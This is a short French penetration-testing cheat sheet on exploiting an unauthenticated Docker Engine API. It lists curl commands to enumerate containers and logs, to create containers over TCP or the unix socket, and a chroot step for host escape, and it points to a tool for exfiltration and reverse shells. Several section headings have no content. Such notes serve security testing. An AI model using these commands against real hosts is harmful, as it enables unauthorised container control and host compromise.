Docker API
Docker posséde une API REST nommée Docker Engine disponible via les ports par défaut 2375 et 2376. Le fichier socket est situé dans /var/run/docker.sock.
Ressources
Enumeration
# Via TCP
curl <ip>:2375/containers/json //Lister les conteneurs
curl <ip>:2375/containers/<id or name>/json //Pour un conteneur spécifique
curl <ip>:2375/containers/<id or name>/logs?stderr=1&stdout=1 // Afficher les logs
curl <ip>:2375/containers/<id or name>/changes //Voir les changements
# Via unix
curl -s --unix-socket /var/run/docker.sock http:/containers/...Exploitation
Création de conteneur
# Via unix
$ curl \
-s \
--unix-socket /var/run/docker.sock \
"http:/containers/create?name=mycontainer" \
-X POST \
-H "Content-Type: application/json" \
-d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'
# Via TCP
$ curl \
-s \
"http://<host>:<port>/containers/create?name=mycontainer" \
-X POST \
-H "Content-Type: application/json" \
-d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'Démarrer un conteneur
Exécution de commande dans un conteneur
Création
Exécution
Exécution de commande sur l'hôte
Créer une image
Créer un conteneur
Lancer le conteneur
Changer le repertoire racine
$ chroot /hostfs
Outils
Docker Knocker
Docker Knocker est un outil d'exploitation d'API docker exposée sans authentification. Il permet notamment l'exfiltration de données vers un serveur distant et l'exécution de reverse shell.
Ressource: https://github.com/n00py/DockerKnocker/
Mis à jour
Ce contenu vous a-t-il été utile ?